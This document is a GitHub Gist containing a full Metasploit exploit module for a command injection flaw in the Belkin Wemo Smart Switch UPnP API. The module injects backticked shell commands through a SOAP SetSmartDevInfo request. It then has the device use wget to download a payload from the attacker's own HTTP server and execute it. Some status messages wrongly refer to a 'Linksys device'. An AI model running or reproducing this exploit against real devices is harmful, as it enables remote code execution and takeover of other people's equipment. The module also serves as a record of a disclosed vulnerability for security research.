Last active
October 13, 2017 19:13
-
-
Save phikshun/10900566 to your computer and use it in GitHub Desktop.
Belkin Wemo SmartSwitch UPnP Remote Command Injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http//metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::Remote::HttpServer | |
include Msf::Exploit::EXE | |
include Msf::Exploit::FileDropper | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Belkin Wemo SmartSwitch UPnP Remote Command Injection', | |
'Description' => %q{ | |
This module exploits a command injection vulnerability in the Belkin Wemo | |
Smart Switch UPnP API. | |
}, | |
'Author' => | |
[ | |
'phikshun <[email protected]>', # Vulnerability discovery and Metasploit module | |
], | |
'License' => MSF_LICENSE, | |
'References' => | |
[ | |
[ 'URL', 'http://disconnected.io/2014/04/04/universal-plug-and-fuzz/' ], | |
], | |
'DisclosureDate' => 'April 4 2014', | |
'Privileged' => true, | |
'Platform' => %w{ linux unix }, | |
'Payload' => | |
{ | |
'DisableNops' => true | |
}, | |
'Targets' => | |
[ | |
[ 'Linux mipsel Payload', | |
{ | |
'Arch' => ARCH_MIPSLE, | |
'Platform' => 'linux' | |
} | |
], | |
[ 'CMD', | |
{ | |
'Arch' => ARCH_CMD, | |
'Platform' => 'unix' | |
} | |
], | |
], | |
'DefaultTarget' => 0 | |
)) | |
register_options( | |
[ | |
Opt::RPORT(49153), | |
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), | |
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), | |
], self.class) | |
end | |
def request(cmd) | |
soap_payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" | |
soap_payload << "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" " | |
soap_payload << "s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n" | |
soap_payload << " <s:Body>\n" | |
soap_payload << " <u:SetSmartDevInfo xmlns:u=\"urn:Belkin:service:basicevent:1\">\n" | |
soap_payload << " <SmartDevURL>\n" | |
soap_payload << " `#{cmd}`\n" | |
soap_payload << " </SmartDevURL>\n" | |
soap_payload << " </u:SetSmartDevInfo>\n" | |
soap_payload << " </s:Body>\n" | |
soap_payload << "</s:Envelope>\n" | |
begin | |
res = send_request_cgi({ | |
'uri' => '/upnp/control/basicevent1', | |
'method' => 'POST', | |
'ctype' => 'text/xml; charset="utf-8"', | |
'headers' => { | |
'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"' | |
}, | |
'data' => soap_payload | |
}) | |
return res | |
rescue ::Rex::ConnectionError | |
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") | |
return nil | |
end | |
end | |
def exploit | |
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) | |
rhost = datastore['RHOST'] | |
rport = datastore['RPORT'] | |
#thx to Juan for his awesome work on the mipsel elf support | |
@pl = generate_payload_exe | |
# | |
# start our server | |
# | |
resource_uri = '/' + downfile | |
if (datastore['DOWNHOST']) | |
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri | |
else | |
#do not use SSL | |
if datastore['SSL'] | |
ssl_restore = true | |
datastore['SSL'] = false | |
end | |
#we use SRVHOST as download IP for the coming wget command. | |
#SRVHOST needs a real IP address of our download host | |
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") | |
srv_host = Rex::Socket.source_address(rhost) | |
else | |
srv_host = datastore['SRVHOST'] | |
end | |
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri | |
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") | |
start_service({'Uri' => { | |
'Proc' => Proc.new { |cli, req| | |
on_request_uri(cli, req) | |
}, | |
'Path' => resource_uri | |
}}) | |
datastore['SSL'] = true if ssl_restore | |
end | |
# | |
# poor man's chmod | |
# | |
#this filename is used to store the payload on the device | |
filename = rand_text_alpha_lower(8) | |
cmd = "cp /bin/iwpriv /tmp/#{filename}" | |
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") | |
res = request(cmd) | |
if (!res) | |
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") | |
end | |
# | |
# download payload | |
# | |
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") | |
cmd = "wget #{service_url} -O /tmp/#{filename}" | |
res = request(cmd) | |
if (!res) | |
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") | |
end | |
register_file_for_cleanup("/tmp/#{filename}") | |
# | |
# execute | |
# | |
cmd = "/tmp/#{filename}" | |
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") | |
request(cmd) | |
end | |
# Handle incoming requests from the server | |
def on_request_uri(cli, request) | |
#print_status("on_request_uri called: #{request.inspect}") | |
if (not @pl) | |
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") | |
return | |
end | |
print_status("#{rhost}:#{rport} - Sending the payload to the server...") | |
send_response(cli, @pl) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment